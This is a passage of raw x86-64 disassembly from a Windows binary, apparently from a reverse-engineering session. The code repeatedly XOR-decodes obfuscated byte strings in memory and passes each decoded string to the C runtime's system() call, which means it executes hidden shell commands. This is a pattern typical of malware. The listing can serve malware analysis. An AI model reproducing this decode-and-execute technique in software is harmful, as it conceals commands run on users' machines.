movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140060c30
cmp r8d, 0x23
jge 0x140060d64
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x140060d30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1970]
mov byte [rbp - 0x57], 0
lea rcx, [rbp - 0x57]
call fcn.140054910
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140060ee4
xor r8d, r8d
cmp edi, 2
jl 0x140060ea5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140060db0
cmp r8d, 0x24
jge 0x140060ee4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140060eb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1998]
mov byte [rbp - 0x56], 0
lea rcx, [rbp - 0x56]
call fcn.140054940
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140061064
xor r8d, r8d
cmp edi, 2
jl 0x140061025
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140060f30
cmp r8d, 0x24
jge 0x140061064
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140061030
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x19c0]
mov byte [rbp - 0x55], 0
lea rcx, [rbp - 0x55]
call fcn.140054970
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x1400611e4
xor r8d, r8d
cmp edi, 2
jl 0x1400611a5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400610b0
cmp r8d, 0x24
jge 0x1400611e4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x1400611b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x19e8]
mov byte [rbp - 0x54], 0
lea rcx, [rbp - 0x54]
call fcn.1400549a0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140061364
xor r8d, r8d
cmp edi, 2
jl 0x140061325
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140061230
cmp r8d, 0x24
jge 0x140061364
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140061330
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1c18]
mov byte [rbp - 0x53], 0
lea rcx, [rbp - 0x53]
call fcn.1400549d0
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x1400614e4
xor r8d, r8d
cmp edi, 2
jl 0x1400614a5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400613b0
cmp r8d, 0x25
jge 0x1400614e4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x1400614b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1d48]
mov byte [rbp - 0x52], 0
lea rcx, [rbp - 0x52]
call fcn.140054a00
mov r10, rax
cmp byte [rax + 0x2b], 0
je 0x140061664
xor r8d, r8d
cmp edi, 2
jl 0x140061625
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140061530
cmp r8d, 0x2c
jge 0x140061664
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2c
jl 0x140061630
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1830]
mov byte [rbp - 0x51], 0
lea rcx, [rbp - 0x51]
call fcn.140054a30
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x1400617e4
xor r8d, r8d
cmp edi, 2
jl 0x1400617a5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400616b0
cmp r8d, 0x22
jge 0x1400617e4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x1400617b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1a10]
mov byte [rbp - 0x50], 0
lea rcx, [rbp - 0x50]
call fcn.140054910
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140061964
xor r8d, r8d
cmp edi, 2
jl 0x140061925
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140061830
cmp r8d, 0x24
jge 0x140061964
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140061930
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1a38]
mov byte [rbp - 0x4f], 0
lea rcx, [rbp - 0x4f]
call fcn.140054a60
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140061ae4
xor r8d, r8d
cmp edi, 2
jl 0x140061aa5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400619b0
cmp r8d, 0x24
jge 0x140061ae4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140061ab0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1a60]
mov byte [rbp - 0x4e], 0
lea rcx, [rbp - 0x4e]
call fcn.140054a90
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140061c64
xor r8d, r8d
cmp edi, 2
jl 0x140061c25
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140061b30
cmp r8d, 0x24
jge 0x140061c64
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140061c30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1a88]
mov byte [rbp - 0x4d], 0
lea rcx, [rbp - 0x4d]
call fcn.140054ac0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140061de4
xor r8d, r8d
cmp edi, 2
jl 0x140061da5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140061cb0
cmp r8d, 0x24
jge 0x140061de4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140061db0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1d78]
mov byte [rbp - 0x4c], 0
lea rcx, [rbp - 0x4c]
call fcn.140054a00
mov r10, rax
cmp byte [rax + 0x2b], 0
je 0x140061f64
xor r8d, r8d
cmp edi, 2
jl 0x140061f25
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140061e30
cmp r8d, 0x2c
jge 0x140061f64
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
